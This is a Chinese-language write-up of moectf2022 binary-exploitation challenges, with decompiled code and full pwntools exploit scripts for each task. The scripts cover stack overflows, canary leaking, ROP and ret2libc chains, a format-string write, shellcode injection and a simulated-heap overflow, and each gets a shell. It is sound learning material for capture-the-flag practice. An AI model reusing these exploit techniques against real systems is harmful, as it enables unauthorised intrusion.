

pwn

二进制漏洞审计之入门指北

shell

shell中nc ip port即得flag

filedes

IDA打开看到

```
14  open("/flag.txt", 0);
15  __isoc99_scanf("%u", &fd);
16  read(fd, &flag, 0x40uLL);
17  __isoc99_scanf("%u", &fd);
18  write(fd, &flag, 0x40uLL);
```

第一个输入1，第二个输入0即可得到flag

read()的fd输入0会从标准输入读取字符覆盖flag

border

IDA打开

```
11  nbytes_4 = open("/flag", 0);
12  read(nbytes_4, &unk_6010E0, 0x20uLL);
13  puts("Say something to compliment me.");
14  puts("And I'll give you flag");
15  printf("length: ");
16  __isoc99_scanf("%u", &nbytes);
17  if ( nbytes <= 0x40 )
18  {
19      printf("content: ");
20      read(0, byte_6010C0, nbytes);
21      puts("uh...");
22      puts(byte_6010C0);
23      puts("I don't like it");
24  }
25  else
26  {
27      puts("You are so verbose!");
28  }
```

可看到输入小于0x40时可进入读取，byte_6010C0和byte_6010E0连在一起，puts可全部输出，content输入15个1然后回车可打印出完整flag

[illegible]

buffer overflow

```

● 9 strcpy(v5, "Limiter and Wings are handsome boys!");
● 10 puts("Write down your note:");
● 11 read(0, s, 0x70uLL);
● 12 sleep(1u);
● 13 puts("This is my note:");
● 14 sleep(1u);
● 15 puts(v5);
● 16 sleep(1u);
● 17 sleep(1u);
● 18 if ( !strcmp(v5, ans) )
19 {
● 20     puts("Wow they are really cute...");
● 21     sleep(1u);
● 22     puts("And this is a gift for you^_^!");
● 23     sleep(1u);
● 24     system("cat ./flag");
25 }
26 else
27 {
● 28     puts("No, They are beautiful girls!");
● 29     sleep(1u);
30 }
● 31 return 0;

```

用read()的越界输入覆盖到v5，修改v5为 'Limiter and Wings are beautiful girls!'，最后要加上 \x00,作为strcmp识别结束的标志

```
#!/usr/bin/env python3
from pwn import*

io = remote("moectf.challenge.ctf.show",27001)
#io = process("./buffer_overflow")

length = 70
key = "Limiter and wings are beautiful girls!"

payload = ('A'*length).encode() + key.encode() + b'\x00'
io.send(payload)
io.interactive()
```

int_overflow

```
puts("A postive number plus a postive number equals to...");
puts("ZERO?!");
puts("That's impossible!!!");
puts("But what if it's in the computer world...");
v3 = time(0LL);
srand(v3);
v6 = rand();
printf("If %d + x == 0 (x > 0), x = ?\n", v6);
__isoc99_scanf("%s", v7);
if ( (unsigned int)sub_400916(v7) )
{
    if ( v7[0] == 45 )
    {
        puts("x is not postive!");
        return 0LL;
    }
    else
    {
        __isoc99_sscanf(v7, "%d", &v5);
        if ( v5 + v6 )
        {
            puts("Wrong!");
        }
        else
        {
            puts("Correct!");
            system("/bin/sh");
        }
        return 0LL;
    }
}
```

不能输入负数，直接计算器 0x100000000-对应数字 就行

endian

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     char s2[4]; // [rsp+10h] [rbp-10h] BYREF
4     _BYTE v5[12]; // [rsp+14h] [rbp-Ch] BYREF
5
6     *(_QWORD *)&v5[4] = __readfsqword(0x28u);
7     setvbuf(stdin, 0LL, 2, 0LL);
8     setvbuf(stdout, 0LL, 2, 0LL);
9     setvbuf(stderr, 0LL, 2, 0LL);
10    __isoc99_scanf("%d%d", s2, v5);
11    if ( !strncmp("MikatoNB", s2, 8uLL) )
12        system("/bin/sh");
13    return 0;
14 }
```

只允许输入整数，把s2看成首地址，计算器把字符串对应的十六进制数字转成十进制，分别输入到s2，v5里面，注意小端序

exp:

```
#!/usr/bin/env python3
from pwn import *

#io = remote("43.136.137.17",3912)
io = process("./endian")

num1 = '1634429261'
num2 = '1112436596'

io.sendline(num1)
io.sendline(num2)
io.interactive()
```

random

```
17  *(_QWORD *)seed = time(0LL);
18  memset(s, 0, sizeof(s));
19  memset(v11, 0, sizeof(v11));
20  printf("username: ");
21  read(0, s, 0x20uLL);
22  printf("password: ");
23  read(0, v11, 0x20uLL);
24  if ( !strcmp(v11, "ls_4nyth1n9_7ruIy_R4nd0m?") )
25  {
26      printf("Hello, %s\n", s);
27      puts("Let's guest number!");
28      srand(seed[0]);
29      v3 = rand();
30      v4 = rand() ^ v3;
31      v5 = rand();
32      srand(v4 ^ v5);
33      rand();
34      rand();
35      rand();
36      v8 = rand();
37      puts("I've got a number in mind.");
38      puts("If you guess it right, I'll give what you want.");
39      puts("But remember, you have only one chance.");
40      puts("Please tell me the number you guess now.");
41      __isoc99_scanf("%d", &v7);
42      if ( v7 == v8 )
43      {
44          puts("You did it!");
45          puts("Here's your shell");
46          system("/bin/sh");
47      }
```

程序主体部分，可以看到随机数以时间为种子，那么只要是同一秒内执行的操作，就可以产生完全相同的随机数，而程序运行时间通常很短，因此直接编写C程序得到对应的随机数再进行交互即可。

C程序如下:

```
#include<stdio.h>

int main()
{
    unsigned int x = time(0);
    srand(x);
    int a1 = rand();
    int a2 = rand()^a1;
    int a3 = rand();
    srand(a2^a3);
    rand();rand();rand();
    printf("%d\n",rand());
    return 0;
}
```

exp:

```
#!/usr/bin/env python3
from pwn import *

io = process("./calc_time")
result = io.recvline(keepends=False)
print(result)
io = remote("43.136.137.17",3911)

#io = process("./random_num")

name = '123'
passwd = 'ls_4nyth1n9_7ruIy_R4nd0m?'+'\x00'

io.recvuntil("username: ".encode())
io.sendline(name.encode())
io.recvuntil('password: '.encode())
io.sendline(passwd.encode())
io.recvuntil("now.\n".encode())
io.send(result)

io.interactive()
```

rop32

检查保护

```
[*] '/home/a111/CTFS/moectf2022/rop32_dist/rop32'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

程序给了 '/bin/sh' 字符串, 还有 system 函数, 直接构造payload就可以直接getshell

exp:

```
#!/usr/bin/env python3
from pwn import *

io = remote("moectf.challenge.ctf.show",27003)
#io = process("./rop32")

offset = 0x1c + 0x4
bin_sh_addr = 0x804c024
sys_addr = 0x80491e7

payload = ('A'*offset).encode() + p32(sys_addr) + p32(bin_sh_addr)
io.sendline(payload)
io.interactive()
```

rop64

检查保护

```
[*] '/home/a111/CTFS/moectf2022/rop64/rop64'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
```

发现有canary，用来保护栈不被破坏，因此要泄露canary的值

```
1 unsigned __int64 vuln()
2 {
3     char s[40]; // [rsp+0h] [rbp-30h] BYREF
4     unsigned __int64 v2; // [rsp+28h] [rbp-8h]
5
6     v2 = __readfsqword(0x28u);
7     memset(s, 0, sizeof(s));
8     read(0, s, 0x30uLL);
9     printf("%s", s);
10    read(0, s, 0x50uLL);
11    return v2 - __readfsqword(0x28u);
12 }
```

题中给了两个read函数，中间还有个printf函数，可以直接覆盖到canary的最后一个字节（canary的最后一个字节一般为0，因为小端存储，位于内存的左端，覆盖之后可以使输入的字符串连接到canary，从而将canary输出）

没开PIE，程序中也有 /bin/sh 和 system 函数，利用pop_rdi gadget（64位程序传参会先用寄存器，rdi, rsi, rdx, rcx...）直接构造就行

```
a111@321:~/CTFS/moectf2022/rop64$ ROPgadget --binary rop64 --only 'pop|ret'
Gadgets information
=====
0x00000000004011bd : pop rbp ; ret
0x00000000004011de : pop rdi ; ret
0x000000000040101a : ret
0x00000000004012da : ret 0xfffd
```

exp:

```
#!/usr/bin/env python3
from pwn import*

#io = remote("124.223.158.81",27004)
io = process("./rop64")
context.log_level = 'debug'

offset = 40
payload1 = ('A'*offset).encode()
io.recvline()
io.sendline(payload1)

pop_rdi = 0x4011de
bin_sh = 0x404058
sys_addr = 0x401284

#attach(io)
io.recvline()
canary = u64(io.recv(7).rjust(8,b'\x00'))
print(hex(canary))

payload2 = ('A'*offset).encode() + p64(canary) + b'AAAAAAA' + p64(pop_rdi) +
p64(bin_sh) + p64(sys_addr)
io.sendline(payload2)

io.interactive()
```

syscall

检查保护

```
a111@321:~/CTFS/moectf2022/syscall$ checksec syscall
[*] '/home/a111/CTFS/moectf2022/syscall/syscall'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
```

开了PIE，但是给了gadget地址，那等于没开，获取之后计算偏移

```

1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     puts("I'll give you a gift first!");
4     printf("%p\n", gadget);
5     puts("Go Go Go!!!");
6     vuln();
7     return 0;
8 }

```

```

.text:00000000000011A9      ; void gadget()
.text:00000000000011A9      public gadget
.text:00000000000011A9      gadget proc near          ; DATA XREF: main+174o
.text:00000000000011A9      ; __unwind {
.text:00000000000011A9      endbr64
.text:00000000000011A9      F3 0F 1E FA              endbr64
.text:00000000000011AD      55                        push    rbp
.text:00000000000011AE      48 89 E5                  mov     rbp, rsp
.text:00000000000011B1      5F                          pop     rdi
.text:00000000000011B2      C3                          retn
.text:00000000000011B2      gadget endp

```

题目名称syscall，找找除了pop_rdi还有没有其他gadget

```

a111@321:~/CTFS/moectf2022/syscall$ ROPgadget --binary syscall --only 'pop|ret'
Gadgets information
=====
0x0000000000001193 : pop rbp ; ret
0x00000000000011b1 : pop rdi ; ret
0x00000000000011b4 : pop rdx ; ret
0x00000000000011b3 : pop rsi ; pop rdx ; ret
0x000000000000101a : ret

```

```

a111@321:~/CTFS/moectf2022/syscall$ ROPgadget --binary syscall --only 'syscall'
Gadgets information
=====
0x00000000000011b6 : syscall

```

既有pop_rsi，还有pop_rdi，syscall（32位程序通过int 0x80 进行系统调用，64位程序通过syscall进行系统调用，分别通过对应寄存器传参，rax(eax)保存系统调用号）

没看到rax相关的gadget，但是函数的返回值一般保存在 rax 中，而且程序中给了两个read

```

1 ssize_t vuln()
2 {
3     char buf[64]; // [rsp+0h] [rbp-40h] BYREF
4
5     read(0, buf, 0x80uLL);
6     return read(0, buf, 0x3CuLL);
7 }

```

execve的系统调用号为 59，因此最后读取 58个字符 加上回车符就可以控制rax

exp:

```

#!/usr/bin/env python3
from pwn import*

io = remote("124.223.158.81",27005)
#io = process("./syscall")

```



```

io.recvline()
gadget = int(io.recvline(keepends = False),16)
#print(hex(int(gadget,16)))

#attach(io, 'b read')
syscall_addr = gadget - 0x11a9 + 0x11b6
offset = 0x40 + 8
pop_rdi = gadget + 8
bin_sh = gadget - 0x11a9 + 0x4010
pop_rsi_rdx = gadget - 0x11a9 + 0x11b3
payload1 = ('A'*offset).encode() + p64(pop_rdi) + p64(bin_sh) + p64(pop_rsi_rdx)
+ p64(0) + p64(0) + p64(syscall_addr)
io.sendline(payload1)
io.sendline(('A'*58).encode())          # rax = 输入长度 + 1

io.interactive()

```

ret2libc

查看保护

```

a111@321:~/CTFS/moectf2022/ret2libc$ checksec ret2libc
[*] '/home/a111/CTFS/moectf2022/ret2libc/ret2libc'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)

```

只开了NX

程序也很简单，一个read读取越界就完了，使用了puts，同时有gadget

```

a111@321:~/CTFS/moectf2022/ret2libc$ ROPgadget --binary ret2libc --only 'pop|ret'
Gadgets information
=====
0x000000000040115d : pop rbp ; ret
0x000000000040117e : pop rdi ; ret
0x000000000040101a : ret

```

则可以用puts先泄露出libc的偏移，然后再次执行main函数，最后getshell（这里要用到LibcSearcher）

payload2里面的 ret 用来平衡栈，64位程序只有在栈为16字节对齐时才会调用函数

exp:

```

#!/usr/bin/env python3
from pwn import*
from LibcSearcher import*

io = remote("124.223.158.81", 27006)

```

```

#io = process("./ret2libc")
elf = ELF("./ret2libc")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x40117e

offset = 0x40 + 0x8
main = elf.symbols['main']
payload1 = ('A'*offset).encode() + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
+ p64(main)
io.recvline()
io.sendline(payload1)

puts = u64(io.recv(6).ljust(8, b'\x00'))
#print(puts)

libc = LibcSearcher("puts", puts)
libcbase = puts - libc.dump('puts')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')
sys_addr = libcbase + libc.dump('system')
ret_addr = 0x40117f

payload2 = ('A'*offset).encode() + p64(ret_addr) + p64(pop_rdi) +
p64(bin_sh_addr) + p64(sys_addr)
io.sendline(payload2)

io.interactive()

```

babyfmt

```

a111@321:~/CTFS/moectf2022/babyfmt$ checksec babyfmt
[*] '/home/a111/CTFS/moectf2022/babyfmt/babyfmt'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)

```

32位, 只开了NX

```

1 int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
2 {
3     char *s; // [esp+18h] [ebp-110h]
4     char buf[256]; // [esp+1Ch] [ebp-10Ch] BYREF
5     unsigned int v5; // [esp+11Ch] [ebp-Ch]
6
7     v5 = __readgsdword(0x14u);
8     setvbuf(stdin, 0, 2, 0);
9     setvbuf(stdout, 0, 2, 0);
10    setvbuf(stderr, 0, 2, 0);
11    s = (char *)malloc(0x10u);
12    sprintf(s, "%p", backdoor);
13    printf("gift: %p\n", s);
14    while ( 1 )
15    {
16        memset(buf, 0, sizeof(buf));
17        read(0, buf, 0xFFu);
18        printf(buf);
19    }
20 }

```

有后门

题中给了个gift, 但是不知道有什么用, 后面也想了比较久

最后用了控制执行流, 但是 printf 在 无限循环 里面, 不可能控制main函数的返回地址, 只能想到修改 printf 的函数栈后面的返回地址

gdb调试到printf函数里面

```

00:0000 | esp 0xffffd05c → 0x804869f (main+235) ← add esp, 0x10

```

返回地址对应栈地址为 0xffffd05c

给printf输入%p.%p.%p.%p, 再在printf的函数栈里面找到一个比较接近它的值, 结果发现printf输出的第一个参数的值就最接近

```

pwndbg> n
0xffffd08c.0xff.(nil).0xf7fc66d0

```

反复调试, 结果一致, 两个地址相差 0x30, 用%hhn进行字节修改为后门地址 (%n本身为四字节修改, 多一个h短一半, 两个h就是单字节)

-----貌似可以直接修改got表。(我是彩笔)

exp:

```

#!/usr/bin/env python3
from pwn import *

io = remote("43.136.137.17", 3913)
#io = process("./babyfmt")
context(os = 'linux', arch = 'i386', log_level = 'debug')

io.recvline()

payload1 = b'%p'
io.sendline(payload1)
stack_value = int(eval(str(io.recv(10))), 16)
#attach(io)

```


```
payload2 = p32(stack_value-0x30) + p32(stack_value-0x2f) + b'%125c%12$hhn' +  
b'%31c%11$hhn'  
io.sendline(payload2)  
  
io.interactive()
```

shellcode

题面都是shellcode了，应该不会开NX了

```
a111@321:~/CTFS/moectf2022/shellcode$ checksec shellcode  
[*] '/home/a111/CTFS/moectf2022/shellcode/shellcode'  
Arch:      amd64-64-little  
RELRO:     Partial RELRO  
Stack:     Canary found  
NX:        NX disabled  
PIE:       No PIE (0x400000)  
RWX:       Has RWX segments
```

IDA打开，不能F5，但是pwn题还是能看看汇编的



```
lea    rax, [rbp+s]  
mov     edx, 40h ; '@' ; n  
mov     esi, 0 ; c  
mov     rdi, rax ; s  
call    _memset  
lea     rax, [rbp+s]  
mov     rdi, rax  
mov     eax, 0  
call    _gets  
lea     rdx, [rbp+s]  
mov     eax, 0  
call    rdx
```

可以看到先设置s数组为0，再gets得到用户输入，最后直接跳转到s位置执行s对应机器码

所以直接输入shellcode就能getshell了，用shellcraft可以方便点，直接写机器码也可以

exp:

```
#!/usr/bin/env python3
from pwn import *

io = remote("43.136.137.17",3914)
#io = process("./shellcode")
context(os="linux",arch="amd64",log_level="debug")

shellcode = asm(shellcraft.sh())
io.sendline(shellcode)

io.interactive()
```

ret2text

看保护

```
a111@321:~/CTFS/moectf2022/ret2text_dist$ checksec ret2text
[*] '/home/a111/CTFS/moectf2022/ret2text_dist/ret2text'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
```

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     unsigned int v3; // eax
4     __int64 v4; // rdi
5     int v5; // eax
6     char buf[64]; // [rsp+0h] [rbp-40h] BYREF
7
8     puts("I've prepared a gift for you, if you don't want to keep learning CET-4 words, find it out!");
9     v3 = time(0LL);
10    v4 = v3;
11    srand(v3);
12    v5 = rand();
13    ((void (__fastcall *))(__int64, const char **))learn[v5 % 100])(v4, argv);
14    printf("Make a wish: ");
15    read(0, buf, 0x64uLL);
16    return 0;
17 }
```

出题人要给我们礼物，还让我们许愿

f	approximate	0000000000401A9E
f	accurate	000000000040141E
f	account	00000000004013D0
f	affect	0000000000401640
f	appreciate	0000000000401A50
f	adjust	0000000000401556
f	abundant	00000000004012B2
f	unbuffer	0000000000401CF6
D	__bss_start	00000000004063A0
f	addition	00000000004014EE
f	arouse	0000000000401B54
f	amuse	0000000000401814
D	learn	0000000000406080
f	afterward	000000000040168E
f	appliance	00000000004019E8
f	administration	0000000000401570
f	amongst	00000000004017FA
D	stdin@GLIBC_2.2.5	00000000004063B0
f	absorb	000000000040127E
f	altitude	0000000000401792
f	alloy	000000000040172A
f	ambulance	00000000004017E0
f	aluminium	00000000004017AC
f	appoint	0000000000401A36
f	advisable	000000000040160C
f	abuse	00000000004012CC
f	anchor	000000000040187C
f	acre	00000000004014A0
f	acquaintance	000000000040146C
f	announce	00000000004018CA
f	.term_proc	0000000000401D40
f	accommodate	0000000000401334
f	admit	00000000004015A4
f	amaze	00000000004017C6
f	accustomed	0000000000401438
f	argument	0000000000401E06

给了一堆以 a 开头的四级词汇。。。.

虽然看起来不知道要干什么，但是去看rodata段就可以看到 /bin/sh

```

* .rodata:000000000040238F 00 align 10h
.rodata:0000000000402390 ; const char aEchoAcquaintan[]
.rodata:0000000000402390 65 63 68 6F 20 22 61 63 71 75+aEchoAcquaintan db 'echo "acquaintance is a CET-4 word^_^^",0
.rodata:0000000000402390 61 69 6E 74 61 6E 63 65 20 69+ ; DATA XREF: acquaintance+8to
.rodata:00000000004023B7 00 align 8
.rodata:00000000004023B8 ; const char aEchoAcquireIsA[]
.rodata:00000000004023B8 65 63 68 6F 20 22 61 63 71 75+aEchoAcquireIsA db 'echo "acquire is a CET-4 word^_^^",0
.rodata:00000000004023B8 69 72 65 20 69 73 20 61 20 43+ ; DATA XREF: acquire+8to
.rodata:00000000004023DA 00 00 00 00 00 00 align 20h
.rodata:00000000004023E0 ; const char aEchoAcreIsACet[]
.rodata:00000000004023E0 65 63 68 6F 20 22 61 63 72 65+aEchoAcreIsACet db 'echo "acre is a CET-4 word^_^^",0
.rodata:00000000004023E0 20 69 73 20 61 20 43 45 54 2D+ ; DATA XREF: acre+8to
.rodata:00000000004023FF ; const char aBinSh[]
.rodata:00000000004023FF 2F 62 69 6E 2F 73 68 00 aBinSh db '/bin/sh',0 ; DATA XREF: action+8to
.rodata:0000000000402407 00 align 8
.rodata:0000000000402408 ; const char aEchoAdaptIsACe[]
.rodata:0000000000402408 65 63 68 6F 20 22 61 64 61 70+aEchoAdaptIsACe db 'echo "adapt is a CET-4 word^_^^",0
.rodata:0000000000402408 74 20 69 73 20 61 20 43 45 54+ ; DATA XREF: adapt+8to
.rodata:0000000000402428 ; const char aEchoAdditionIs[]
.rodata:0000000000402428 65 63 68 6F 20 22 61 64 64 69+aEchoAdditionIs db 'echo "addition is a CET-4 word^_^^",0
.rodata:0000000000402428 74 69 6F 6E 20 69 73 20 61 20+ ; DATA XREF: addition+8to
.rodata:0000000000402448 00 00 00 00 00 align 10h
.rodata:0000000000402450 ; const char aEchoAdditional[]
.rodata:0000000000402450 65 63 68 6F 20 22 61 64 64 69+aEchoAdditional db 'echo "additional is a CET-4 word^_^^",0
.rodata:0000000000402450 74 69 6F 6E 61 6C 20 69 73 20+ ; DATA XREF: additional+8to
.rodata:0000000000402475 00 00 00 align 8
.rodata:0000000000402478 ; const char aEchoAddresIsAC[]
.rodata:0000000000402478 65 63 68 6F 20 22 61 64 64 72+aEchoAddresIsAC db 'echo "addres is a CET-4 word^_^^",0
000023FF 00000000004023FF: .rodata:aBinSh (Synchronized with Hex View-1)

```

对应单词action, 直接可以getshell了

exp:

```
#!/usr/bin/env python3
from pwn import *

io = remote("moectf.challenge.ctf.show",27002)
#io = process("./ret2text")

addr = 0x4014c2
offset = 0x40+8

payload = ('A'*offset).encode() + p64(addr)
io.sendline(payload)

io.interactive()
```

S1MPLE_HEAP

查看保护



```
a111@321:~/CTFS/moectf2022/simple_heap$ checksec simple_heap
[*] '/home/a111/CTFS/moectf2022/simple_heap/simple_heap'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
```

保护全开。

第一次做堆题, 顺便可以了解下堆管理机制。

IDA看下

```

6  v4 = __readfsqword(0x28u);
7  init(argc, argv, envp);
8  puts("hello, welcome to moectf! >_<");
9  while ( 1 )
10 {
11     fflush(stdout);
12     v3 = 0;
13     puts("make your choice!");
14     puts(" 1.allocate\n 2.delete\n 3.fill\n 4.print heap\n 5.exit");
15     fflush(stdout);
16     __isoc99_scanf("%u", &v3);
17     while ( getchar() != 10 )
18         ;
19     switch ( v3 )
20     {
21     case 1:
22         allocate();
23         break;
24     case 2:
25         delete();
26         break;
27     case 3:
28         fill();
29         break;
30     case 4:
31         print();
32         break;
33     case 5:
34         exit(0);
35     default:

```

堆的操作函数

还有个后门

```

1  int one_gadget()
2  {
3      return system("/bin/sh");
4  }

```

分别进函数里面再看下

在fill()函数里面看到read()多读取了 $24 = 3 * 8$ 个字节


```

1 unsigned __int64 fill()
2 {
3     unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
4     unsigned __int64 v2; // [rsp+8h] [rbp-8h]
5
6     v2 = __readfsqword(0x28u);
7     puts("index:");
8     fflush(stdout);
9     __isoc99_scanf("%u", &v1);
10    while ( getchar() != 10 )
11        ;
12    if ( *((_QWORD *)&ChunkInfo + 2 * v1) )
13    {
14        puts("content:");
15        fflush(stdout);
16        read(0, *((void **)&ChunkInfo + 2 * v1), dword_4468[4 * v1] + 24);
17        while ( getchar() != 10 )
18            ;
19    }
20    else
21    {
22        puts("wrong index!");
23    }
24    return __readfsqword(0x28u) ^ v2;
25 }

```

然后就是边用gdb调试边熟悉程序，程序中没有调用malloc函数分配堆内存，而是在bss段分配内存来模拟堆的操作，因此wiki上面的那些堆利用技巧都用不上，但是作为堆肯定通过溢出控制堆指针来获取某块内存任意写的能力。

分配空间时 空间会自动以 0x10 对齐。

从allocate函数和程序运行中可以看到可分配的最大内存为1008 + 16 (16为chunk头)

```

make your choice!
  1.allocate
  2.delete
  3.fill
  4.print heap
  5.exit
1
size:1024
no more space!
make your choice!
  1.allocate
  2.delete
  3.fill
  4.print heap
  5.exit
1
size:1008
make your choice!
  1.allocate
  2.delete
  3.fill
  4.print heap
  5.exit

```

```

}
for ( j = 0; j <= 63; j += v1 >> 4 )
{
    if ( mmap[2 * j] == 0xFFFFFFFFLL && sizeofchunk[2 * j] > v3 )
    {
        mmap[2 * j] = 0xEEEEEEEEELL;
        mmap[2 * j + 2 + v3 / 8u] = 0xFFFFFFFFLL;
        mmap[2 * j + 3 + v3 / 8u] = sizeofchunk[2 * j] - v3 - 16;
        *((_QWORD *)&ChunkInfo + 2 * v5) = &mmap[2 * j + 2];
        sizeofchunk_in_chunkinfo[4 * v5] = v3;
        sizeofchunk[2 * j] = v3;
        **((_QWORD **)&ChunkInfo + 2 * v5) = 0LL;
        return __readfsqword(0x28u) ^ v8;
    }
    v1 = sizeofchunk[2 * j] + 16;
    if ( v1 < 0 )
    {
        v1 = sizeofchunk[2 * j] + 31;
    }
}

```

gdb调试下

```

pwndbg> x/16gx 0x555555558040
0x555555558040 <mmap>: 0x00000000eeeeeeee 0x0000000000000010
0x555555558050 <mmap+16>: 0x0000000000000000 0x0000000000000000
0x555555558060 <mmap+32>: 0x00000000ffffffff 0x0000000000000010
0x555555558070 <mmap+48>: 0x0000000000000000 0x0000000000000000
0x555555558080 <mmap+64>: 0x00000000eeeeeeee 0x0000000000000010
0x555555558090 <mmap+80>: 0x0000000000000000 0x0000000000000000
0x5555555580a0 <mmap+96>: 0x00000000ffffffff 0x0000000000000390
0x5555555580b0 <mmap+112>: 0x0000000000000000 0x0000000000000000

```

```

pwndbg>
0x5555555583c0 <mmap+896>: 0x0000000000000000 0x0000000000000000
0x5555555583d0 <mmap+912>: 0x0000000000000000 0x0000000000000000
0x5555555583e0 <mmap+928>: 0x0000000000000000 0x0000000000000000
0x5555555583f0 <mmap+944>: 0x0000000000000000 0x0000000000000000
0x555555558400 <mmap+960>: 0x0000000000000000 0x0000000000000000
0x555555558410 <mmap+976>: 0x0000000000000000 0x0000000000000000
0x555555558420 <mmap+992>: 0x0000000000000000 0x0000000000000000
0x555555558430 <mmap+1008>: 0x0000000000000000 0x0000000000000000
pwndbg>
0x555555558440 <fast_bin>: 0x0000000000000000 0x0000000000000000
0x555555558450 <fast_bin+16>: 0x0000555555558060 0x0000000000000000
0x555555558460 <ChunkInfo>: 0x0000555555558050 0x0000000000000010
0x555555558470 <ChunkInfo+16>: 0x0000000000000000 0x0000000000000000
0x555555558480 <ChunkInfo+32>: 0x0000555555558090 0x0000000000000010
0x555555558490 <ChunkInfo+48>: 0x0000000000000000 0x0000000000000000
0x5555555584a0 <ChunkInfo+64>: 0x0000000000000000 0x0000000000000000
0x5555555584b0 <ChunkInfo+80>: 0x0000000000000000 0x0000000000000000

```

```

pwndbg> x/16gx 0x555555558040+1024
0x555555558440 <fast_bin>: 0x0000000000000000 0x0000000000000000
0x555555558450 <fast_bin+16>: 0x0000555555558060 0x0000000000000000
0x555555558460 <ChunkInfo>: 0x0000555555558050 0x0000000000000010
0x555555558470 <ChunkInfo+16>: 0x0000000000000000 0x0000000000000000
0x555555558480 <ChunkInfo+32>: 0x0000555555558090 0x0000000000000010
0x555555558490 <ChunkInfo+48>: 0x0000000000000000 0x0000000000000000
0x5555555584a0 <ChunkInfo+64>: 0x0000000000000000 0x0000000000000000
0x5555555584b0 <ChunkInfo+80>: 0x0000000000000000 0x0000000000000000

```

阅读对应代码并调试可以得到mmap为实际使用内存，ChunkInfo为地址索引（使用中的chunk的数据区地址），fastbin为回收释放内存的单链表表头。

chunk如果在使用中，该chunk的前8个字节为0x00000000eeeeeeee；若处于空闲状态则为0x00000000ffffffff。后面紧跟着 可使用空间 的大小。

在分配时会先在fastbin里面查找有没有合适的堆块，如果有则分配给用户，没有则重新分配。

本来想在mmap里面修改fd指针的，然后一直不知道该怎么弄，就转向fastbin里面了，mallochook()函数也在fastbin里面，很明显就是把这个地方改成后门地址就可以了。

```

13 if ( mallocHook )
14     mallocHook();

```

exp过程:

首先, 先创建一个较大的堆块, 剩下的空间恰好够一个小堆块。现在就有了两个堆块。且充满了mmap空间。

然后, 释放第一个堆块, fastbin里面就会有一个指针。fill之前分配的那个小堆块, 因为read函数的多余读取, 可以覆盖到指针位置。就可以泄露地址, 从而绕过PIE。

最后再次对小堆块进行填充, 把fastbin伪造成一个空闲chunk, fastbin为0xffffffff, fastbin+8为0x10, fastbin+16改为 fastbin 的地址, 再次分配0x10的chunk, 即可操作 fastbin+16 后 0x10 的空间, 把 后门地址填充到后8个字节, 再次进入allocate函数就可以getshell了。

exp:

```

#!/usr/bin/env python3
from pwn import *

#io = remote("pwn.blackbird.wang",9600)
io = process("./simple_heap")
heap = ELF("./simple_heap")

context.log_level = 'debug'

def alloc(size):
    io.sendlineafter(b"exit\n",b'1')
    io.sendlineafter(b"size:",str(size))

def delet(index):
    io.sendlineafter(b"exit\n",b'2')
    io.sendlineafter(b"index:",str(index))

def fill_t(index, content):
    io.sendlineafter(b"exit\n",b'3')
    io.sendlineafter(b"index:",str(index))
    io.sendlineafter(b"content:",content)
    io.send(b'\n')

def prin_t(index):
    io.sendlineafter(b"exit\n",b'4')
    io.sendlineafter(b"index:",str(index))

alloc(976)
alloc(0x10)
delet(0)

fill_t(1,('A'*0x1F).encode())
prin_t(1)
io.recvline()
io.recvline()
mmap = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(mmap))

one_gadget = mmap - 0x4040 + 0x1DFD

```

#泄露mmap地址

```
alloc(0x10)
fill_t(1,('A'*0x10).encode() + p64(0xffffffff) + p64(0x10) + p64(mmap + 0x400))
alloc(0x10)
fill_t(2,p64(0) + p64(one_gadget) + p64(0) + p64(0) + p64(0))

io.recv()
io.sendline(b'1')
#attach(io)
io.interactive()
```